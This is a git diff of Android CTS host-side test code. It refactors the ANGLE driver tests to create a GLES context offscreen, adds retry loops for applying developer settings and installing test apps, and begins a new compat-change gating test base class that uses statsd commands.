- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 2, 0));
- // Max value cannot be less than initial
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 2, 2, 1));
- }
-
- @Test
- public void testGetters() {
- final Timeout timeout = new Timeout(NAME, 1, 2, 5);
- assertThat(timeout.ms()).isEqualTo(1);
- assertFloat(timeout.getMultiplier(), 2);
- assertThat(timeout.getMaxValue()).isEqualTo(5);
- assertThat(timeout.getName()).isEqualTo(NAME);
- }
-
- @Test
- public void testIncrease() {
- final Timeout timeout = new Timeout(NAME, 1, 2, 5);
- // Pre-maximum
- assertThat(timeout.increase()).isEqualTo(1);
- assertThat(timeout.ms()).isEqualTo(2);
- assertThat(timeout.increase()).isEqualTo(2);
- assertThat(timeout.ms()).isEqualTo(4);
- // Post-maximum
- assertThat(timeout.increase()).isEqualTo(4);
- assertThat(timeout.ms()).isEqualTo(5);
- assertThat(timeout.increase()).isEqualTo(5);
- assertThat(timeout.ms()).isEqualTo(5);
- }
-
- @Test
- public void testRun_invalidArgs() {
- final Timeout timeout = new Timeout(NAME, 1, 2, 5);
- // Invalid description
- assertThrows(IllegalArgumentException.class, ()-> timeout.run(null, mJob));
- assertThrows(IllegalArgumentException.class, ()-> timeout.run("", mJob));
- // Invalid max attempts
- assertThrows(IllegalArgumentException.class, ()-> timeout.run(DESC, -1, mJob));
- assertThrows(IllegalArgumentException.class, ()-> timeout.run(DESC, 0, mJob));
- // Invalid job
- assertThrows(IllegalArgumentException.class, ()-> timeout.run(DESC, null));
- }
-
- @Test
- public void testRun_successOnFirstAttempt() throws Exception {
- final Timeout timeout = new Timeout(mSleeper, NAME, 100, 2, 500);
- final Object result = new Object();
- when(mJob.call()).thenReturn(result);
- assertThat(timeout.run(DESC, 1, mJob)).isSameAs(result);
- assertThat(mSleeper.totalSleepingTime).isEqualTo(0);
- }
-
- @Test
- public void testRun_successOnSecondAttempt() throws Exception {
- final Timeout timeout = new Timeout(mSleeper, NAME, 100, 2, 500);
- final Object result = new Object();
- when(mJob.call()).thenReturn((Object) null, result);
- assertThat(timeout.run(DESC, 10, mJob)).isSameAs(result);
- assertThat(mSleeper.totalSleepingTime).isEqualTo(10);
- }
-
- @Test
- public void testRun_allAttemptsFailed() throws Exception {
- final Timeout timeout = new Timeout(mSleeper, NAME, 100, 2, 500);
- final RetryableException e = expectThrows(RetryableException.class,
- () -> timeout.run(DESC, 10, mJob));
- assertThat(e.getMessage()).contains(DESC);
- assertThat(e.getTimeout()).isSameAs(timeout);
- assertThat(mSleeper.totalSleepingTime).isEqualTo(100);
- }
-
- private static final class MySleeper implements Sleeper {
- public long totalSleepingTime;
-
- @Override
- public void sleep(long napTimeMs) {
- // We still need to sleep, as the retry is based on ellapsed time. We could use a
- // Mockito spy, but let's keep it simple
- SystemClock.sleep(napTimeMs);
- totalSleepingTime += napTimeMs;
- }
- }
-
- public static void assertFloat(float actualValue, float expectedValue) {
- assertThat(actualValue).isWithin(1.0e-10f).of(expectedValue);
- }
-}
diff --git a/hostsidetests/abioverride/AndroidTest.xml b/hostsidetests/abioverride/AndroidTest.xml
index be3e818..edb3122 100644
--- a/hostsidetests/abioverride/AndroidTest.xml
+++ b/hostsidetests/abioverride/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="webview" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAbiOverrideTestApp.apk" />
diff --git a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/AngleIntegrationTestActivity.java b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/AngleIntegrationTestActivity.java
deleted file mode 100644
index e167176..0000000
--- a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/AngleIntegrationTestActivity.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.angleIntegrationTest.common;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.util.Log;
-
-import java.lang.Override;
-
-public class AngleIntegrationTestActivity extends Activity {
-
- private final String TAG = this.getClass().getSimpleName();
-
- private GlesView mGlesView;
-
- @Override
- public void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- mGlesView = new GlesView(this);
- setContentView(mGlesView);
-
- Log.i(TAG, "ANGLE Manifest activity complete");
- }
-
- public GlesView getGlesView() {
- return mGlesView;
- }
-}
diff --git a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
index d0fbe58..f1c053f 100644
--- a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
+++ b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
@@ -19,14 +19,10 @@
import static javax.microedition.khronos.egl.EGL10.EGL_STENCIL_SIZE;
import android.annotation.TargetApi;
-import android.content.Context;
import android.opengl.EGL14;
import android.opengl.GLES20;
-import android.opengl.GLSurfaceView;
import android.os.Build.VERSION_CODES;
import android.util.Log;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
import javax.microedition.khronos.egl.EGL10;
import javax.microedition.khronos.egl.EGLConfig;
import javax.microedition.khronos.egl.EGLContext;
@@ -38,28 +34,21 @@
*/
@TargetApi(VERSION_CODES.GINGERBREAD)
-public class GlesView extends SurfaceView implements SurfaceHolder.Callback2 {
+public class GlesView {
private static final EGL10 EGL = (EGL10) EGLContext.getEGL();
- private EGLConfig eglConfig;
- private EGLDisplay display;
- private SurfaceHolder mSurfaceHolder;
private String mRenderer = "";
private final String TAG = this.getClass().getSimpleName();
- public GlesView(Context context) {
- super(context);
- this.setWillNotDraw(false);
- getHolder().addCallback(this);
- createEGL();
- getHolder().getSurface();
+ public GlesView() {
+ createEGL();
}
@TargetApi(VERSION_CODES.JELLY_BEAN_MR1)
private void createEGL() {
int[] version = new int[2];
- display = EGL.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+ EGLDisplay display = EGL.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
EGL.eglInitialize(display, version);
int[] numConfigs = new int[1];
@@ -68,7 +57,7 @@
EGL.eglGetConfigs(display, allConfigs, numConfigs[0], numConfigs);
int[] configAttrib =
- new int[] {
+ new int[]{
EGL10.EGL_RENDERABLE_TYPE,
EGL14.EGL_OPENGL_ES2_BIT,
EGL10.EGL_SURFACE_TYPE,
@@ -90,6 +79,7 @@
EGLConfig[] selectedConfig = new EGLConfig[1];
EGL.eglChooseConfig(display, configAttrib, selectedConfig, 1, numConfigs);
+ EGLConfig eglConfig;
if (selectedConfig[0] != null) {
eglConfig = selectedConfig[0];
Log.i(TAG, "Found matching EGL config");
@@ -97,33 +87,35 @@
Log.e(TAG, "Could not find matching EGL config");
throw new RuntimeException("No Matching EGL Config Found");
}
- }
- @TargetApi(VERSION_CODES.JELLY_BEAN_MR1)
- @Override
- public void surfaceCreated(SurfaceHolder holder) {
- EGLSurface surface = EGL.eglCreateWindowSurface(display, eglConfig, this, null);
- int[] contextAttribs = new int[] {EGL14.EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE};
- EGLContext context = EGL
- .eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, contextAttribs);
+ EGLSurface surface = EGL.eglCreatePbufferSurface(display, eglConfig, null);
+ int[] contextAttribs = new int[]{EGL14.EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE};
+ EGLContext context = EGL
+ .eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, contextAttribs);
EGL.eglMakeCurrent(display, surface, surface, context);
Log.i(TAG, "CTS ANGLE Test :: GLES GL_VENDOR : " + GLES20.glGetString(GLES20.GL_VENDOR));
Log.i(TAG, "CTS ANGLE Test :: GLES GL_VERSION : " + GLES20.glGetString(GLES20.GL_VERSION));
- Log.i(TAG, "CTS ANGLE Test :: GLES GL_RENDERER : " + GLES20.glGetString(GLES20.GL_RENDERER));
+ Log.i(TAG,
+ "CTS ANGLE Test :: GLES GL_RENDERER : " + GLES20.glGetString(GLES20.GL_RENDERER));
mRenderer = GLES20.glGetString(GLES20.GL_RENDERER);
}
- @Override
- public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
-
- @Override
- public void surfaceDestroyed(SurfaceHolder holder) {}
-
- @Override
- public void surfaceRedrawNeeded(SurfaceHolder holder) {}
-
public String getRenderer() {
return mRenderer;
}
+
+ public boolean validateDeveloperOption(boolean angleEnabled) {
+ if (angleEnabled) {
+ if (!mRenderer.toLowerCase().contains("angle")) {
+ return false;
+ }
+ } else {
+ if (mRenderer.toLowerCase().contains("angle")) {
+ return false;
+ }
+ }
+
+ return true;
+ }
}
diff --git a/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java b/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java
index bb98488..450461a 100644
--- a/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java
+++ b/hostsidetests/angle/app/driverTest/src/com/android/angleIntegrationTest/driverTest/AngleDriverTestActivity.java
@@ -18,13 +18,10 @@
import static org.junit.Assert.fail;
-import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
-import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
import com.android.angleIntegrationTest.common.GlesView;
-import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -33,29 +30,18 @@
private final String TAG = this.getClass().getSimpleName();
- @Rule
- public ActivityTestRule<AngleIntegrationTestActivity> rule =
- new ActivityTestRule<>(AngleIntegrationTestActivity.class);
-
private void validateDeveloperOption(boolean angleEnabled) throws Exception {
- AngleIntegrationTestActivity activity = rule.getActivity();
- GlesView glesView = activity.getGlesView();
- String renderer = glesView.getRenderer();
+ GlesView glesView = new GlesView();
- while(renderer.length() == 0) {
- renderer = glesView.getRenderer();
- }
-
- if (angleEnabled) {
- if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+ if (!glesView.validateDeveloperOption(angleEnabled)) {
+ if (angleEnabled) {
+ String renderer = glesView.getRenderer();
fail("Failure - ANGLE was not loaded: '" + renderer + "'");
- }
- } else {
- if (renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+ } else {
+ String renderer = glesView.getRenderer();
fail("Failure - ANGLE was loaded: '" + renderer + "'");
}
}
-
}
@Test
diff --git a/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java b/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java
index ce7e5e8..7b25c39 100644
--- a/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java
+++ b/hostsidetests/angle/app/driverTestSecondary/src/com/android/angleIntegrationTest/driverTestSecondary/AngleDriverTestActivity.java
@@ -18,13 +18,10 @@
import static org.junit.Assert.fail;
-import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
-import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
import com.android.angleIntegrationTest.common.GlesView;
-import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -33,25 +30,18 @@
private final String TAG = this.getClass().getSimpleName();
- @Rule
- public ActivityTestRule<AngleIntegrationTestActivity> rule =
- new ActivityTestRule<>(AngleIntegrationTestActivity.class);
-
private void validateDeveloperOption(boolean angleEnabled) throws Exception {
- AngleIntegrationTestActivity activity = rule.getActivity();
- GlesView glesView = activity.getGlesView();
- String renderer = glesView.getRenderer();
+ GlesView glesView = new GlesView();
- if (angleEnabled) {
- if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+ if (!glesView.validateDeveloperOption(angleEnabled)) {
+ if (angleEnabled) {
+ String renderer = glesView.getRenderer();
fail("Failure - ANGLE was not loaded: '" + renderer + "'");
- }
- } else {
- if (renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
+ } else {
+ String renderer = glesView.getRenderer();
fail("Failure - ANGLE was loaded: '" + renderer + "'");
}
}
-
}
@Test
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 85841af..c576253 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -24,6 +24,11 @@
class CtsAngleCommon {
private static final int TEST_WAIT_TIME_MS = 1000;
+ // General
+ static final int NUM_ATTEMPTS = 5;
+ static final int APPLY_SLEEP_MSEC = 500;
+ static final int REATTEMPT_SLEEP_MSEC = 5000;
+
// Settings.Global
static final String SETTINGS_GLOBAL_ALL_USE_ANGLE = "angle_gl_driver_all_angle";
static final String SETTINGS_GLOBAL_DRIVER_PKGS = "angle_gl_driver_selection_pkgs";
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index 5373a3b..5cff73c 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -45,12 +45,38 @@
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS, pkgName);
setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES, driverValue);
+ // SETTINGS_GLOBAL_DRIVER_PKGS
+ for (int i = 0; i < NUM_ATTEMPTS; i++)
+ {
+ setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS, pkgName);
+ Thread.sleep(APPLY_SLEEP_MSEC);
+ String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
+ if (devOption.equals(pkgName))
+ {
+ break;
+ }
+ Thread.sleep(REATTEMPT_SLEEP_MSEC);
+ }
+
String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
Assert.assertEquals(
"Developer option '" + SETTINGS_GLOBAL_DRIVER_PKGS +
"' was not set correctly: '" + devOption + "'",
pkgName, devOption);
+ // SETTINGS_GLOBAL_DRIVER_VALUES
+ for (int i = 0; i < NUM_ATTEMPTS; i++)
+ {
+ setGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES, driverValue);
+ Thread.sleep(APPLY_SLEEP_MSEC);
+ devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
+ if (devOption.equals(driverValue))
+ {
+ break;
+ }
+ Thread.sleep(REATTEMPT_SLEEP_MSEC);
+ }
+
devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
Assert.assertEquals(
"Developer option '" + SETTINGS_GLOBAL_DRIVER_VALUES +
@@ -72,6 +98,18 @@
sDriverTestMethodMap.get(driver));
}
+ private void installApp(String appName) throws Exception {
+ for (int i = 0; i < NUM_ATTEMPTS; i++)
+ {
+ try {
+ installPackage(appName);
+ return;
+ } catch(Exception e) {
+ Thread.sleep(REATTEMPT_SLEEP_MSEC);
+ }
+ }
+ }
+
@Before
public void setUp() throws Exception {
clearSettings(getDevice());
@@ -92,8 +130,8 @@
public void testEnableAngleForAll() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_SEC_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
@@ -117,7 +155,7 @@
public void testUseDefaultDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
@@ -134,7 +172,7 @@
public void testUseAngleDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
@@ -151,7 +189,7 @@
public void testUseNativeDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
@@ -168,8 +206,8 @@
public void testSettingsLengthMismatch() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_SEC_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," +
ANGLE_DRIVER_TEST_SEC_PKG,
@@ -191,7 +229,7 @@
public void testUseInvalidDriver() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG, "timtim");
@@ -207,7 +245,7 @@
public void testUpdateDriverValues() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
for (OpenGlDriverChoice firstDriver : OpenGlDriverChoice.values()) {
for (OpenGlDriverChoice secondDriver : OpenGlDriverChoice.values()) {
@@ -229,8 +267,8 @@
public void testMultipleDevOptionsAngleNative() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_SEC_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," +
ANGLE_DRIVER_TEST_SEC_PKG,
@@ -253,8 +291,8 @@
public void testMultipleUpdateDriverValues() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_SEC_APP);
// Set the first PKG to always use ANGLE
setAndValidatePkgDriver(ANGLE_DRIVER_TEST_PKG, OpenGlDriverChoice.ANGLE);
@@ -316,7 +354,7 @@
Assume.assumeTrue(isAngleLoadable(getDevice()));
// Install the package so the setting isn't removed because the package isn't present.
- installPackage(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
@@ -376,8 +414,8 @@
public void testMultipleDevOptionsAngleDefault() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_APP);
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+ installApp(ANGLE_DRIVER_TEST_APP);
+ installApp(ANGLE_DRIVER_TEST_SEC_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
@@ -408,7 +446,7 @@
public void testMultipleDevOptionsAngleNativeUninstall() throws Exception {
Assume.assumeTrue(isAngleLoadable(getDevice()));
- installPackage(ANGLE_DRIVER_TEST_SEC_APP);
+ installApp(ANGLE_DRIVER_TEST_SEC_APP);
setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 596630b..50f55b0 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -61,22 +61,42 @@
setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH);
}
+ private void setAndValidateAngleDevOptionWhitelist(String whiteList) throws Exception {
+ // SETTINGS_GLOBAL_WHITELIST
+ for (int i = 0; i < NUM_ATTEMPTS; i++)
+ {
+ setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST, whiteList);
+ Thread.sleep(APPLY_SLEEP_MSEC);
+ String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+ if (devOption.equals(whiteList))
+ {
+ break;
+ }
+ Thread.sleep(REATTEMPT_SLEEP_MSEC);
+ }
+
+ String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
+ Assert.assertEquals(
+ "Developer option '" + SETTINGS_GLOBAL_WHITELIST +
+ "' was not set correctly: '" + devOption + "'",
+ whiteList, devOption);
+ }
+
@Before
public void setUp() throws Exception {
clearSettings(getDevice());
mWhiteList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST);
- // Application must be whitelisted to load temp rules
- setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST,
- ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG);
+ final String whitelist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
+ setAndValidateAngleDevOptionWhitelist(whitelist);
}
@After
public void tearDown() throws Exception {
clearSettings(getDevice());
- setGlobalSetting(getDevice(), SETTINGS_GLOBAL_WHITELIST, mWhiteList);
+ setAndValidateAngleDevOptionWhitelist(mWhiteList);
FileUtil.deleteFile(mRulesFile);
}
diff --git a/hostsidetests/appbinding/hostside/AndroidTest.xml b/hostsidetests/appbinding/hostside/AndroidTest.xml
index 54dad24..4d96aec 100644
--- a/hostsidetests/appbinding/hostside/AndroidTest.xml
+++ b/hostsidetests/appbinding/hostside/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Instant apps can't be the default SMS app. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="am wait-for-broadcast-idle" />
diff --git a/hostsidetests/appbinding/hostside/OWNERS b/hostsidetests/appbinding/hostside/OWNERS
new file mode 100644
index 0000000..77d350b
--- /dev/null
+++ b/hostsidetests/appbinding/hostside/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 533114
+omakoto@google.com
+yamasani@google.com
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
new file mode 100644
index 0000000..80be793
--- /dev/null
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_host {
+ name: "CompatChangeGatingTestBase",
+ srcs: ["**/*.java"],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "host-libprotobuf-java-full",
+ "platformprotos",
+ ],
+
+}
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
new file mode 100644
index 0000000..81cc244
--- /dev/null
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+import com.google.protobuf.InvalidProtocolBufferException;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.annotation.Nonnull;
+
+// Shamelessly plagiarised from incident's ProtoDumpTestCase and statsd's BaseTestCase family
+public class CompatChangeGatingTestCase extends DeviceTestCase implements IBuildReceiver {
+ protected IBuildInfo mCtsBuild;
+
+ private static final String UPDATE_CONFIG_CMD = "cat %s | cmd stats config update %d";
+ private static final String DUMP_REPORT_CMD =
+ "cmd stats dump-report %d --include_current_bucket --proto";
+ private static final String REMOVE_CONFIG_CMD = "cmd stats config remove %d";
+ private static final long CONFIG_ID = 123456789;
+
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ assertThat(mCtsBuild).isNotNull();
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Install a device side test package.
+ *
+ * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+ * @param grantPermissions whether to give runtime permissions.
+ */
+ protected void installPackage(String appFileName, boolean grantPermissions)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ final String result = getDevice().installPackage(buildHelper.getTestFile(appFileName), true,
+ grantPermissions);
+ assertWithMessage("Failed to install %s: %s", appFileName, result).that(result).isNull();
+ }
+
+ /**
+ * Run a device side test.
+ *
+ * @param pkgName Test package name, such as
+ * "com.android.server.cts.netstats".
+ * @param testClassName Test class name; either a fully qualified name, or "."
+ * + a class name.
+ * @param testMethodName Test method name.
+ */
+ protected void runDeviceTest(@Nonnull String pkgName, @Nonnull String testClassName,
+ @Nonnull String testMethodName,
+ Set<Long> enabledChanges, Set<Long> disabledChanges)
+ throws DeviceNotAvailableException {
+
+ // Set compat overrides
+ setCompatConfig(enabledChanges, disabledChanges, pkgName);
+
+ // Send statsd config
+ createAndUploadStatsdConfig(CONFIG_ID, pkgName);
+
+ // Run device-side test
+ if (testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
